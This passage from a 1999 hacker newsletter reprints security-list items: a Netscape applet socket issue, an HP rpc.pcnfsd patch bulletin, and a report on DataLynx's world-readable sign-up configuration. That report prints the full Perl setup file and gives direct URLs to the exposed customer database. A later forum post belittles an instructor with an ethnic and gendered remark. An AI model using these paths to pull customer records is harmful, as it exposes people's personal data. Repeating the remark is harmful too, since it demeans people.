  1547.      To: BUGTRAQ@netspace.org
  1548.      Subject: Re: Unsecured server in applets under Netscape
  1549.      
  1550.      Confirmed on Netscape 4.5 running on an NT 4 SP 4 box.
  1551.      
  1552.      Loaded up a similar applet on the internal network without standard applet
  1553.      callback methods of stop() or destroy().  Kill the window that opened the
  1554.      applet and the socket remains running (as expected, and only if some other
  1555.      application in the same process space is running).
  1556.      
  1557.      Fun!
  1558.      
  1559.      --Shido
  1560.      
  1561.      Shidoshi@monkey.org
  1562.  
  1563.    @HWA
  1564.  
  1565. 7.0 The Datalynx Hole
  1566.     ~~~~~~~~~~~~~~~~~
  1567.     From: http://www.csoft.net/~inn/
  1568.     Innerpulse News Network
  1569.     
  1570.     DataLynx, Inc is the partner you can rely on 
  1571.     Contributed by sw3
  1572.     Thursday - February 04th, 1999. 02:01PM UTC 
  1573.  
  1574.       After reading a L0pht advisory on DataLynx suGuard, I went to their
  1575.     website to download the product to test it myself. In a matter of minutes I could
  1576.     download their whole users database. Personal addresses, e-mails, phone
  1577.     numbers and such. 
  1578.  
  1579.      Stupid enough, their Perl sign-up script uses a 'setup file', which is
  1580.     world-readable (the script run off http must read it, I presume). Instead of, oh I
  1581.     don't know, putting the setup files in a web-readable directory, or restricting
  1582.     web access to it. Anyways, it's readable, and that 'setup' file contains locations
  1583.     of, a database, pgp temporary file, other Perl scripts and such. I sent e-mail to
  1584.     the company about it, never got a reply.     
  1585.     
  1586.     A setup file
  1587.     ~~~~~~~~~~~~
  1588.     (From:http://www.dlxguard.com/cgi-bin/Form_processor/Setup_files/infodemo2.setup)
  1589.     Database: http://www.dlxguard.com/cgi-bin/Form_processor/Databases/infodemo2.data
  1590.     Parser: ftp://inn.csoft.net/pub/ar/dlx-parser/parser.pl
  1591.     
  1592.     #######################################################################
  1593.     #                         Email Variables                             #
  1594.     #######################################################################
  1595.     
  1596.     $should_i_mail = "yes";
  1597.     $should_i_send_user_email = "no";
  1598.     $email_of_sender = "sales\@dlxguard.com";
  1599.     $email_to = "sales\@dlxguard.com";
  1600.     $email_subject = "Information/Download Request";
  1601.     
  1602.     #######################################################################
  1603.     #                         PGP Variables                             #
  1604.     #######################################################################
  1605.     
  1606.     $should_i_use_pgp = "no";
  1607.     $pgp_lib_path = "./Library/pgp-lib.pl";
  1608.     $pgp_temp_file_path ="./Temp/pgp-temp-file";
  1609.     
  1610.     #######################################################################
  1611.     #                       Location Variables                            #
  1612.     #######################################################################
  1613.     
  1614.     $url_of_the_form = "http://www.dlxguard.com/infodemo2.htm";
  1615.     $location_of_mail_lib = "./Library/mail-lib.pl";
  1616.     $location_of_setup_file = "infodemo2.setup";
  1617.     
  1618.     #######################################################################
  1619.     #                  Database Variables                                 #
  1620.     #######################################################################
  1621.     
  1622.     $should_I_append_a_database = "yes";
  1623.     $location_of_database = "./Databases/infodemo2.data";
  1624.     $database_delimiter = ",";
  1625.     
  1626.     #######################################################################
  1627.     #                  Defining your Fields                               #
  1628.     #######################################################################
  1629.     
  1630.     
  1631.     @form_variables = ("name",
  1632.                        "client_email",
  1633.                        "title",
  1634.                        "company",
  1635.                        "address",
  1636.                        "city",
  1637.                        "state",
  1638.                        "zip",
  1639.                        "telephone",
  1640.                        "fax",
  1641.                        "question_os",
  1642.                        "testing_schedule",
  1643.                        "purchase_schedule",
  1644.                        "question_security",
  1645.                        "question_referral",
  1646.                        "filename",
  1647.                        "request_mail_guardian",
  1648.                        "request_mail_ntagent",
  1649.                        "request_mail_guardian_esl",
  1650.                        "request_mail_suguard",
  1651.                        "request_mail_auditguard",
  1652.                        "request_mail_webguard",
  1653.                        "request_mail_scentr",
  1654.                        "comments");
  1655.     
  1656.     %form_variable_name_map = ("name",              "Name",
  1657.                                "client_email",      "E-mail",
  1658.                                "title",             "Title",
  1659.                                "company",           "Company",
  1660.                                "address",           "Address",
  1661.                                "city",              "City",
  1662.                                "state",             "State",
  1663.                                "zip",               "Zip",
  1664.                                "telephone",         "Telephone",
  1665.                                "fax",               "Fax",
  1666.                                "question_os",       "Operating System",
  1667.                                "testing_schedule",  "Product Evaluation Schedule",
  1668.                                "purchase_schedule", "Product Purchase Schedule",
  1669.                                "question_security", "Security Concern",
  1670.                                "question_referral", "Referral",
  1671.                                "filename",          "File to download",
  1672.                                "request_mail_guardian",     "Guardian mail",
  1673.                                "request_mail_ntagent",      "Guardian agent mail",
  1674.                                "request_mail_guardian_esl", "Guardian ESL mail",
  1675.                                "request_mail_suguard",      "suGuard mail",
  1676.                                "request_mail_auditguard",   "Auditguard mail",
  1677.                                "request_mail_webguard",     "Webguard mail",
  1678.                                "request_mail_scentr",       "Security CeNTer mail",
  1679.                                "comments",                  "Comments");
  1680.     
  1681.     @required_variables = ( "name",
  1682.                             "fax",
  1683.                             "title",
  1684.                             "company",
  1685.                             "address",
  1686.                             "city",
  1687.                             "state",
  1688.                             "telephone",
  1689.                             "zip",
  1690.                             "question_os",
  1691.                             "client_email");
  1692.     
  1693.     
  1694.     #######################################################################
  1695.     #                    MIscellaneous Options                            #
  1696.     #######################################################################
  1697.     
  1698.     $should_user_verify = "yes";
  1699.     $current_century = "20";
  1700.     
  1701.     #######################################################################
  1702.     #                 required_fields_error_message Subroutine            #
  1703.     #######################################################################
  1704.     
  1705.     sub required_fields_error_message
  1706.       {
  1707.       print "Content-type: text/html\n\n\n"; 
  1708.       print qq~
  1709.       <HTML>
  1710.       <HEAD>
  1711.       <TITLE>Error in Processing Form - Required Fields</TITLE>
  1712.       </HEAD>
  1713.       <BODY BGCOLOR = "FFFFFF" TEXT = "000000">
  1714.     
  1715.       <BLOCKQUOTE>
  1716.     
  1717.       <H2>
  1718.       I'm sorry, the following fields are required:
  1719.     
  1720.       <UL>~;
  1721.       foreach $variable (@required_variables)
  1722.         {
  1723.         print qq~
  1724.         <LI>$form_variable_name_map{$variable}~;
  1725.         }
  1726.       print qq~</UL>
  1727.     
  1728.       Please click the "back" button on your browser or click <A HREF =
  1729.       "$url_of_the_form">here</A> to go back and make sure you fill out all
  1730.       the required information.
  1731.       </H2>
  1732.     
  1733.       </BLOCKQUOTE>
  1734.       </BODY>
  1735.       </HTML>~;
  1736.       }
  1737.     
  1738.     #######################################################################
  1739.     #                 cannot_find_database Subroutine                     #
  1740.     #######################################################################
  1741.     
  1742.     sub cannot_find_database
  1743.       {
  1744.       print "Content-type: text/html\n\n\n"; 
  1745.       print qq~
  1746.       <HTML>
  1747.       <HEAD>
  1748.       <TITLE>Form Processing Error - Database Error</TITLE>
  1749.       </HEAD>
  1750.       <BODY BGCOLOR = "FFFFFF" TEXT = "000000">
  1751.      
  1752.       <H2>
  1753.       <BLOCKQUOTE>
  1754.       I'm sorry, I am having trouble finding the database that this
  1755.       information should be sent to.  Please contact 
  1756.       <A HREF = "mailto:$email_to">Datalynx Webmaster</A> and let us know that there
  1757.       has been a problem.  Thank you very much and sorry about the
  1758.       inconvenience.
  1759.       </BLOCKQUOTE>
  1760.       </H2>
  1761.       </BODY>
  1762.       </HTML>~;
  1763.       }
  1764.     
  1765.     #######################################################################
  1766.     #                        HTML Reply Subroutines                       #
  1767.      #######################################################################
  1768.     sub html_reply_header
  1769.       {
  1770.       if ($form_data{'filename'} ne "")
  1771.         {    
  1772.         print "Location: ftp://ftp.dlxguard.com/pub/$form_data{'filename'}\n\n";
  1773.         exit(0);
  1774.         }
  1775.       print "Location: http://www.dlxguard.com/thankyourequest.htm\n\n";
  1776.       exit(0);
  1777.       }
  1778.     
  1779.     sub html_reply_body
  1780.       {
  1781.       }
  1782.     
  1783.     sub html_reply_footer
  1784.       {
  1785.       }
  1786.     
  1787.     sub display_preexp_screen
  1788.       {
  1789.        print "Content-type: text/html\n\n\n";
  1790.        print qq~
  1791.       <HTML>
  1792.       <HEAD>
  1793.        <TITLE>IMPORTANT NOTICE !</TITLE>
  1794.        <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
  1795.        <META NAME="GENERATOR" CONTENT="Mozilla/3.01Gold (X11; I; OSF1 V4.0 alpha) [\
  1796.     Netscape]">
  1797.     
  1798.     </HEAD>
  1799.     <BODY BGCOLOR="#FFFFFF" BACKGROUND="gtex.gif">
  1800.     
  1801.     <FORM METHOD = "POST" ACTION = "eula.cgi">~;
  1802.       foreach $variable (@form_variables)
  1803.       {
  1804.         $form_data{$variable} =~ s/"/"/g;
  1805.         $form_data{$variable} =~ s/\</</g;
  1806.         $form_data{$variable} =~ s/\>/>/g;
  1807.         $form_data{$variable} =~ s/\n/\<P\>/g;
  1808.         print qq~
  1809.         <INPUT TYPE = "hidden" NAME = "$variable"
  1810.                                VALUE = "$form_data{$variable}">~;
  1811.       }
  1812.     print qq~
  1813.     <INPUT TYPE = "hidden" NAME = "setup_file" VALUE = "$location_of_setup_file">
  1814.     <table align="center" cellspacing="15">
  1815.       <tr>
  1816.         <td><p><img src="logo45.gif" height="100" width="100" align="CENTER"></td>
  1817.         <td valign="middle">
  1818.           <p><b><font size="+2" color="#FF0000">   IMPORTANT NOTICE !
  1819.           </font></b></p>
  1820.         </td>
  1821.       </tr>
  1822.     </table>
  1823.     </center>
  1824.     <blockquote>
  1825.       <center>Please make sure your browser knows that a file with a '.Z' extension is a binary file.  If you have any questions about this, please call our support department at (619) 560-8112.</center></blockquote>
  1826.     <blockquote>
  1827.         <center>All evaluation software available to download from
  1828.         this site is secured for authorized use only. A license code
  1829.         must be obtained prior to use for evaluation or after
  1830.         purchase. An evaluation key will be valid for THIRTY (30)
  1831.         days after which you must purchase in order to continue use.
  1832.         </center>
  1833.     </blockquote>
  1834.     
  1835.     <blockquote>
  1836.         <center><p>In most cases you will receive new license codes
  1837.         within 24 hours. Be sure to include the original keycodes in
  1838.         your email. Directions for obtaining these codes are shown
  1839.         below.</p>
  1840.         </center>
  1841.     </blockquote>
  1842.     <center>
  1843.     
  1844.     <table border="4" width="100%" bordercolor="#004227">
  1845.       <tr>
  1846.         <td align="center" width="50%">
  1847.           <font color="#0000FF" size="+1">If you are installing GUARDIAN:</font>
  1848.         </td>
  1849.         <td align="center" width="50%">
  1850.           <font color="#0000FF"  size="+1">If you are installing suGUARD:</font>
  1851.         </td>
  1852.       </tr>
  1853.       <tr>
  1854.         <td valign="top" width="50%">
  1855.         <p><b></b></p>
  1856.         <p><font size="2"><b><u><center>To install the software on your system:</center></u></b></font></p>
  1857.           <font size="2">
  1858.           <ol type="1">
  1859.             <li>Uncompress the file you have downloaded</li>
  1860.             <li>Extract these files using 'tar':
  1861.               <blockquote><font face="Arial Black" size="2" color="#FF0000">·</font> 
  1862.               <i><b>install.guardian</b></i>
  1863.                      <br><font face="Arial Black" size="2" color="#FF0000">·</font> 
  1864.               <i><b>GD_RELEASE_NOTICE.txt</b></i></blockquote>
  1865.             </li>
  1866.             <li>Use the instructions in the release notice to install the software on your system</li>
  1867.             <li>Login to your 'root' account</li>
  1868.             <li>Enter the following commands:
  1869.                 <blockquote><font face="Arial Black" size="2" color="#0000ff">·</font> 
  1870.                 <b><font size="2">cd   /bin/datalynx </font></b>
  1871.                 <br><font face="Arial Black" size="2" color="#0000ff">·</font> 
  1872.                 <b><font size="2">guardian   -i</font></b></blockquote>
  1873.             </li>
  1874.           </ol></font>
  1875.           <p><font color="#FF0000" size="-1">You should see the following:</font></p>
  1876.           <blockquote>
  1877.           <font size="-1">GUARDIAN: Software Installation Program.</font>
  1878.           <font size="-1"><br>Copyright (c) Datalynx, Inc., 1994-6</font>
  1879.           <font size="-1"><br>Current GUARDIAN security values are:</font>
  1880.           <font size="-1"><br>1: xxxxxxxx</font>
  1881.           <font size="-1"><br>2: xxxxxxxx</font>
  1882.           <font size="-1"><br>3: xxxxxxxx</font></p>
  1883.           <p><font size="-2">Please call DataLynx or your authorized representative</font>
  1884.           <font size="-2">for instructions on installing your software.</font></p>
  1885.           <p><font size="-1">Enter new keycode 1:    </font><b>
  1886.           <font size="+0">0</font></b></p>
  1887.           </blockquote>
  1888.           <p><font color="#FF0000" size="-1">Entering a zero
  1889.             for 'keycode 1' will exit the program.</font></p>
  1890.           <p><font color="#FF0000" size="-1"><b><i>e-mail</i></b> the
  1891.             current values to DataLynx. When you receive your new
  1892.             codes, redo steps 4 and 5 and enter these values.</font></p>
  1893.         </td>
  1894.         <td valign="top" width="50%">
  1895.         <p><b></b></p>
  1896.         <p><font size="2"><b><u><center>To install the software on your system:</center></u></b></font></p>
  1897.           <font size="2">
  1898.           <ol type="1">
  1899.             <li>Uncompress the file you have downloaded</li>
  1900.             <li>Extract these files using 'tar':
  1901.               <blockquote><font face="Arial Black" size="2" color="#FF0000">·</font> 
  1902.               <i><b>install.suguard</b></i>
  1903.                      <br><font face="Arial Black" size="2" color="#FF0000">·</font> 
  1904.               <i><b>SG_RELEASE_NOTICE.txt</b></i></blockquote>
  1905.             </li>
  1906.             <li>Use the instructions in the release notice to install the software on your system</li>
  1907.             <li>Login to your 'root' account</li>
  1908.             <li>Enter the following commands:</li>
  1909.                 <blockquote><font face="Arial Black" size="2" color="#0000ff">·</font>
  1910.                 <b><font size="-1"> cd   /bin/datalynx/suguard.dir</font></b>
  1911.                 <br><font face="Arial Black" size="2" color="#0000ff">·</font> 
  1912.                 <b><font size="-1">suguard   -i</font></b></blockquote>
  1913.             </li>
  1914.           </ol></font>
  1915.           <p><font color="#FF0000" size="-1">You should see the following:</font></p>
  1916.           <blockquote>
  1917.           <font size="-1">suGUARD: Software Installation Program.</font>
  1918.           <font size="-1"><br>Copyright (c) DataLynx Inc., 1996</font>
  1919.           <font size="-1"><br>Current suGUARD security values are:</font>
  1920.           <font size="-1"><br>1:xxxxxxxx</font>
  1921.           <font size="-1"><br>2: xxxxxxxx</font>
  1922.           <font size="-1"><br>3: xxxxxxxx</font></p>
  1923.           <p><font size="-2">Please call DataLynx or your authorized representative</font>
  1924.           <font size="-2">for instructions on installing your software.</font></p>
  1925.           <p><font size="-1">Enter new keycode 1:    </font>
  1926.           <b><font size="+0">0</font></b></p>
  1927.           </blockquote>
  1928.           <p><font color="#FF0000" size="-1">Entering a zero
  1929.             for 'keycode 1' will exit the program.</font></p>
  1930.           <p><font color="#FF0000" size="-1"><b><i>e-mail</i></b> the
  1931.             current values to DataLynx. When you receive your new
  1932.             codes, redo steps 4 and 5 and enter these values.</font></p>
  1933.         </td>
  1934.       </tr>
  1935.     </table>
  1936.     </CENTER>
  1937.     
  1938.     <CENTER><P><INPUT TYPE="submit" NAME="verified" VALUE="Continue"></P></CENTER>
  1939.     
  1940.     <P></FORM></P>
  1941.     
  1942.     </BODY>
  1943.     </HTML>~;
  1944.       }
  1945.     
  1946.     #######################################################################
  1947.     #                   display_eula Subroutines          #
  1948.     #######################################################################
  1949.     
  1950.     sub display_eula_screen
  1951.       {
  1952.     print "Content-type: text/html\n\n\n";
  1953.     print qq~
  1954.     <HTML>
  1955.     <HEAD>
  1956.     <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1252">
  1957.     <META NAME="Generator" CONTENT="Microsoft Word 97">
  1958.     <TITLE>webeval</TITLE>
  1959.     <META NAME="Template" CONTENT="C:\PROGRAM FILES\MICROSOFT OFFICE\OFFICE\html.dot">
  1960.     </HEAD>
  1961.     <BODY LINK="#0000ff" VLINK="#800080">
  1962.     
  1963.      <FORM ACTION="http://www.dlxguard.com/cgi-bin/Form_processor/form_processor.cgi" 
  1964.            METHOD="POST">~;
  1965.       foreach $variable (@form_variables)
  1966.         {           
  1967.         $form_data{$variable} =~ s/"/"/g;
  1968.         $form_data{$variable} =~ s/\</</g;
  1969.         $form_data{$variable} =~ s/\>/>/g;
  1970.         $form_data{$variable} =~ s/\n/\<P\>/g;
  1971.         print qq~
  1972.         <INPUT TYPE = "hidden" NAME = "$variable"
  1973.                VALUE = "$form_data{$variable}">~;
  1974.         }           
  1975.       print qq~
  1976.       <INPUT TYPE = "hidden" NAME = "setup_file" 
  1977.              VALUE = "$location_of_setup_file">
  1978.     
  1979.     <P>
  1980.     </P>
  1981.     <B><P ALIGN="CENTER">DataLynx, Inc. Software Evaluation Agreement</P>
  1982.     </B><P ALIGN="CENTER"> </P>
  1983.     <P>This DataLynx, Inc. Software Evaluation Agreement ("Agreement") by and between DataLynx, Inc., a California corporation ("DataLynx, Inc." or "Licensor") having its principal offices at 6633 Convoy Court, San Diego, CA 92111 USA, and<U> </U>("Licensee"), and any person or Corporation who evaluates Licensor's products sets forth the terms and conditions under which Licensee may use the evaluation computer software ("Program"), Manuals, and other system documentation (collectively, "Documentation") currently available from DataLynx, Inc. for the Program.</P><DIR>
  1984.     
  1985.     <B><P>1. Scope of Use. Licensee may:</P>
  1986.     </B><P>A. Install and use the Program only at Licensee's own facility and only for the purpose of evaluating its effectiveness and suitability for Licensee's internal business activities;</P>
  1987.     <P>B. Make one copy of the Program for said purposes; and</P>
  1988.     <P>C. Use the documentation only in conjunction with installation and use of the Program for the stated purpose.</P>
  1989.     <P>D. Licensee agrees not to rely on Program in any way that may affect Licensee's normal business operations.</P>
  1990.     <P>E. Licensee may only use the evaluation program and documentation as set forth above and licensee's rights are not transferable.</P>
  1991.     <B><P>2. Term.</P>
  1992.     </B><P>A. Licensee may use the Program and Documentation for 30 days after receipt, unless terminated sooner hereunder. Within a reasonable time after the conclusion of the evaluation period, Licensee must remove the Program and Documentation files from Licensee's computer system unless Licensee agrees with DataLynx, Inc. to acquire a license to use the Program on an on-going basis.</P>
  1993.     <B><P>3. Proprietary Protection.</P>
  1994.     </B><P>A. Licensee acknowledges that DataLynx, Inc. claims it has sole and exclusive ownership of all right, title, and interest in and to the Program and Documentation (including all Trade Secrets pertaining thereto), subject only to the rights and privileges expressly granted by DataLynx, Inc.. This Agreement does not provide Licensee with Title or ownership of the Program or Documentation, but only a right of limited use.</P>
  1995.     <P>B. The Program and Documentation, and the Trade Secrets contained therein (collectively, the "Proprietary Information"), are commercially valuable, proprietary products of DataLynx, Inc., which are treated by DataLynx, Inc. as confidential. DataLynx, Inc. has entrusted the Proprietary Information to Licensee in confidence to use only as expressly authorized. As used herein, Trade Secrets include any scientific or technical information, concept, design, process, procedure, formula, or improvement that is commercially valuable and secret (in the sense that its confidentiality affords DataLynx, Inc. a competitive advantage over its competitors).</P>
  1996.     <P>C. Exceptions to Proprietary Information. The obligations of confidentiality and restriction on use in Section B shall not apply to any Proprietary Information that: (i) was in the public domain prior to the date of this Agreement or subsequently came into the public domain through no fault of the Licensee; or (ii) was lawfully received by Licensee from a third party free of any obligation of confidence to the third party; or (iii) was already in Licensee's possession prior to receipt from Licensor; or (iv) is required to be disclosed in a judicial or administrative proceeding after all reasonable legal remedies for maintaining such information in confidence have been exhausted; or (v) is subsequently and independently developed by Licensee's employees, consultants, or agents without reference to Proprietary Information.</P>
  1997.     <P>D. The Licensor claims and reserves to itself all rights and benefits afforded under U.S. copyright law and all International copyright conventions in the Program and Documentation. Portions of the Program may be covered by applications for patents in the U.S. and elsewhere.</P>
  1998.     <P>E. Licensee may not, at any time, disclose or disseminate all or any part of the Proprietary Information to any third party. Licensee may not "unlock" or "reverse engineer" the code of the Program, as the terms are generally used in the trade. Licensee will ensure that all Licensee's personnel afforded access to the Proprietary Information shall take all reasonable precautions to protect it against improper use, dissemination, or disclosure.</P>
  1999.     <P>F. Licensee acknowledges that, in the event of the Licensee's breach of any of the foregoing provisions, DataLynx, Inc. will not have an adequate remedy in money or damages. DataLynx, Inc. shall therefore be entitled to seek an injunction against such breach from any court of competent jurisdiction immediately upon such breach. DataLynx, Inc.'s right to obtain injunctive relief shall not limit its right to seek further remedies.</P>
  2000.     <P>G. The Licensee shall devote its best efforts, consistent with the practices and procedures under which it protects its own most valuable proprietary information and materials, to protect the Program and Documentation against any unauthorized or unlawful use or copying.</P>
  2001.     <P>H. The Licensee shall make no hard copies of the Program or associated documentation, and may store Program in memory only as may be necessary for the normal operation of the Program on one CPU for use on one terminal.</P>
  2002.     <P>I. Licensee's obligations hereunder to protect DataLynx, Inc.'s Proprietary Information shall survive the evaluation period and remain in effect for so long as DataLynx, Inc. is entitled to protection of its rights in the Program and Documentation under applicable law.</P>
  2003.     <B><P>4. Warranties.</P>
  2004.     </B><P>A. The Licensor warranties that it has the right to enter into this Agreement and fully perform all obligations undertaken in this Agreement.</P>
  2005.     <P>B. The licensor disclaims any and all promises, representations, and warranties, except as expressly set forth in this agreement, with respect to any data, information, or other material furnished to the Licensee hereunder, including their condition; conformity to any representation or description; the existence of any latent or patent defects; and title, merchantability, or fitness for a particular purpose or use.</P>
  2006.     <P>C. in no event shall the licensor be liable to the licensee for any loss of profits; any incidental, special, exemplary, or consequential damages; or any claims or demands brought against the licensor even if the licensor has been advised of the possibility of such damages.</P>
  2007.     <B><P>5. Indemnification.</P>
  2008.     </B><P>A. If a third party claims that the Licensed Program infringes its patent, copyright, or trade secret, or any similar intellectual property right, Licensor will defend Licensee against that claim at Licensor's expense and pay all damages that a court finally awards, provided that Licensee promptly notifies Licensor in writing of the claim, and allows Licensor to control, and cooperate with Licensor in, the defense or any related settlement negotiations. However, Licensor has no obligation for any claim based on Licensee's modification of the Licensed Program or its combination, operation, or use with any product, data, or apparatus not specified or provided by Licensor, provided that such claim solely and necessarily is based on such combination, operation, or use and such claim would be avoided by combination, operation, or use with products, data, or apparatus specified or provided by Licensor. this paragraph states licensor's entire obligation to licensee with respect to any claim of infringement.</P>
  2009.     <B><P>6. Miscellaneous.</P>
  2010.     </B><P>A. Licensee may not sell, assign or otherwise transfer any right or obligation hereunder without the prior written consent of DataLynx, Inc.. The Agreement shall be governed and construed according to the laws of the State of California, and shall be effective on the date last written below.</P>
  2011.     <P>B. This Agreement constitutes the entire agreement of the parties hereto and supersedes all prior representations, proposals, discussions, and communications, whether oral or in writing. This Agreement may be modified or amended only with the prior written consent of authorized representatives of both parties.</P>
  2012.     <P>C. If the Program will run on computers located outside the United States, Licensee is responsible for meeting all import requirements for cryptography in the country of operation.</P></DIR>
  2013.     
  2014.     
  2015.     By clicking the "I Agree" button below, I accept and approve of the above Software Evaluation Agreement</DD>
  2016.     </DL></DIR>
  2017.     
  2018.     <P>
  2019.     <INPUT TYPE="submit"  NAME="verified" VALUE="I Agree">
  2020.     <INPUT TYPE="submit" NAME="verified" VALUE="I Disagree">
  2021.     </P></FORM>
  2022.     <P><HR></P>
  2023.     <H5 ALIGN="CENTER"><BR>
  2024.     Copyright © 1997 DataLynx, Inc. All rights reserved.<BR>
  2025.     Revised: <!--webbot bot="TimeStamp" s-type="EDITED"</H5></H5>
  2026.     s-format="%B %d, %Y" startspan -->August 1, 1997<!--webbot
  2027.     bot="TimeStamp" endspan i-checksum="14450" -->. 
  2028.     <P><HR></P>
  2029.     <H5> </H5></BODY>
  2030.     </HTML>~;
  2031.     }
  2032.     
  2033.     #######################################################################
  2034.     #                   display_verification_screen Subroutines           #
  2035.     #######################################################################
  2036.     
  2037.     sub display_verification_screen
  2038.       {
  2039.       print "Content-type: text/html\n\n\n";
  2040.       print qq~
  2041.       <HTML>
  2042.       <HEAD>
  2043.       <TITLE>Form Verification Screen</TITLE>
  2044.       </HEAD>
  2045.       <BODY BGCOLOR = "FFFFFF" TEXT = "000000">~;
  2046.     
  2047.     #####################################################################################################
  2048.     # Added by JOB - If a file was chosen to be downloaded we must display the EULA (license agreement) #
  2049.     # otherwise we can just continue with the form_processor.                                           #
  2050.     #####################################################################################################
  2051.     
  2052.       if ($form_data{'filename'} eq "")
  2053.         {
  2054.           print qq~
  2055.           <FORM METHOD = "POST" ACTION = "form_processor.cgi">~;
  2056.         }
  2057.       if ($form_data{'filename'} ne "")
  2058.         {
  2059.           print qq~
  2060.           <FORM METHOD = "POST" ACTION = "preexp.cgi">~;
  2061.         }
  2062.       foreach $variable (@form_variables)
  2063.         {           
  2064.         $form_data{$variable} =~ s/"/"/g;
  2065.         $form_data{$variable} =~ s/\</</g;
  2066.         $form_data{$variable} =~ s/\>/>/g;
  2067.         $form_data{$variable} =~ s/\n/\<P\>/g;
  2068.         print qq~
  2069.         <INPUT TYPE = "hidden" NAME = "$variable"
  2070.                VALUE = "$form_data{$variable}">~;
  2071.         }           
  2072.     
  2073.       print qq~
  2074.       <INPUT TYPE = "hidden" NAME = "setup_file" 
  2075.              VALUE = "$location_of_setup_file">
  2076.       <H2>
  2077.       <BLOCKQUOTE>
  2078.       You submitted the following information:
  2079.       <TABLE>~;
  2080.       
  2081.       foreach $variable (@form_variables)
  2082.         {
  2083.         print qq~
  2084.         <TR>
  2085.         <TH ALIGN = "left" VALIGN = "top">$form_variable_name_map{$variable}</TH>
  2086.         <TD>$form_data{$variable}</TD>
  2087.         </TR>~;
  2088.         }
  2089.       print qq~     
  2090.       </TABLE>
  2091.       </BLOCKQUOTE>
  2092.       <CENTER>
  2093.       <INPUT TYPE = "submit" NAME = "verified" VALUE = "Correct!">
  2094.       </CENTER>   
  2095.       </FORM>
  2096.       </BODY>  
  2097.       </HTML>~;
  2098.     }
  2099.     
  2100.     @HWA
  2101.  
  2102.   
  2103.   8.0 Mailzone
  2104.       ~~~~~~~~
  2105.  
  2106.     The Linux Penguins, Live on stage! 
  2107.     penguin cam  http://www.montrealcam.com/en-biodome.html
  2108.     Seen on slashdot ... http://www.slashdot.org/
  2109.     
  2110.     
  2111.     
  2112.     ***** MAILZONE ************************************************************
  2113.     * RECENT BUGTRAQ/LIST TRAFFIC/EXPLOIT CODE                                *
  2114.     ***************************************************************************
  2115.    
  2116.    
  2117.     "... as the Bell helmet company used to advertise a long time ago, 
  2118.     You put a $10 helmet on a $10 head. "
  2119.     
  2120.     
  2121.     Digest Name:  Daily Security Bulletins Digest
  2122.     Created:  Mon Feb  8  3:00:02 PST 1999
  2123.  
  2124.     Table of Contents:
  2125.  
  2126.     Document ID      Title
  2127.     ---------------  -----------
  2128.     HPSBUX9902-091   Security Vulnerability with rpc.pcnfsd
  2129.  
  2130.     The documents are listed below.
  2131.     -------------------------------------------------------------------------------
  2132.  
  2133.     Document ID:  HPSBUX9902-091
  2134.     Date Loaded:  19990207
  2135.     Title:  Security Vulnerability with rpc.pcnfsd
  2136.  
  2137.     -------------------------------------------------------------------------
  2138.     HEWLETT-PACKARD COMPANY SECURITY BULLETIN: #00091, 08 Febraury 1999
  2139.     -------------------------------------------------------------------------
  2140.  
  2141.     The information in the following Security Bulletin should be acted upon
  2142.     as soon as possible.  Hewlett-Packard Company will not be liable for any
  2143.     consequences to any customer resulting from customer's failure to fully
  2144.     implement instructions in this Security Bulletin as soon as possible.
  2145.     
  2146.     -------------------------------------------------------------------------
  2147.     PROBLEM:  rpc.pcnfsd has an error in its use of the spool directory
  2148.     
  2149.     PLATFORM: HP 9000 series 700/800.
  2150.     
  2151.     DAMAGE:   Remote and local users can compromise root access.
  2152.     
  2153.     SOLUTION: Install _all_ applicable patches listed below.  Reboot required.
  2154.     
  2155.     AVAILABILITY:  All patches are available now.
  2156.     
  2157.     -------------------------------------------------------------------------
  2158.     I.
  2159.        A. Background
  2160.           rpc.pcnfsd is a remote procedure call used by NFS clients which is
  2161.           a service providing username and password authentication for system
  2162.           which have NFS client software installed.
  2163.           If exploited, this defect allows the main printer spool directory
  2164.           used by rpc.pcnfsd to be made world writeable.
  2165.     
  2166.        B. Fixing the problem
  2167.           This involves installing a series of patches which require
  2168.           rebooting the system.  The main patch requires a libc patch,
  2169.           which in turn requires a kernal patch.
  2170.     
  2171.             For HP-UX 10.01:                        PHNE_17248
  2172.             For HP-UX 10.10:                        PHNE_17248
  2173.             For HP-UX 10.20:                        PHNE_17098
  2174.             For HP-UX 11.00:                        PHNE_16470
  2175.     
  2176.           The following sets of patches will need to be installed to resolve
  2177.           all the documented patch dependencies.  The dependencies will be
  2178.           satisfied by the patches listed, or any patch that supersedes them:
  2179.     
  2180.             s700 10.01:     PHNE_17248, PHKL_7059,  PHCO_14253;
  2181.             s800 10.01:     PHNE_17248, PHKL_7060,  PHCO_14253;
  2182.             s700 10.10:     PHNE_17248, PHKL_8292,  PHCO_14254;
  2183.             s800 10.10:     PHNE_17248, PHKL_8293,  PHCO_14254;
  2184.             s700 10.20:     PHNE_17098, PHKL_9155,  PHKL_16750,
  2185.                             PHCO_13777, PHCO_12922, PHCO_17389,
  2186.                             PHNE_16237, PHKL_16959, PHKL_17012,
  2187.                             PHKL_17253, PHKL_12007;
  2188.             s800 10.20:     PHNE_17098, PHKL_9156,  PHKL_16751,
  2189.                             PHCO_13777, PHCO_12922, PHCO_17389,
  2190.                             PHNE_17097, PHKL_16957, PHKL_17013,
  2191.                             PHKL_17254, PHKL_12008;
  2192.             s700 11.00:     PHNE_16470, PHCO_16629, PHKL_15689,
  2193.                             PHCO_14625;
  2194.             s800 11.00:     PHNE_16470, PHCO_16629, PHKL_15689,
  2195.                             PHCO_14625.
  2196.     
  2197.           NOTE: This problem is fixed fully in HP-UX release 11.01.
  2198.  
  2199.     /////////////////////////////////////////////////////////////////////////////////
  2200.         
  2201.     To: BUGTRAQ@netspace.org
  2202.     Subject: A warning about training from se7en and NDI to all security professionals
  2203.     
  2204.     
  2205.     From: Mixmaster <mixmaster@remail.obscura.com>
  2206.     To: aaa-list@lists.netlink.co.uk
  2207.     
  2208.     
  2209.     > I am rep. from newdimensions
  2210.     
  2211.     I'm sorry but I have taken one of the New Dimensions programs
  2212.     on computer security and I am glad that I wasn't in the private
  2213.     sector paying for this program, I work in a security department 
  2214.     of a large American miltary/industrial corporation and I wasn't
  2215.     too taken by the instructors, This one asian girl was almost 
  2216.     reading off of cue cards it was that bad, She knew as about 
  2217.     hacking and securing networks as I did brain surgery, and I 
  2218.     was promised in the mailing I got from my boss, Route of 
  2219.     Phrack fame and got some hacker I never heard of called se7en?  
  2220.     I was really there to hear Route, and I was *VERY* disappointed! 
  2221.     
  2222.     
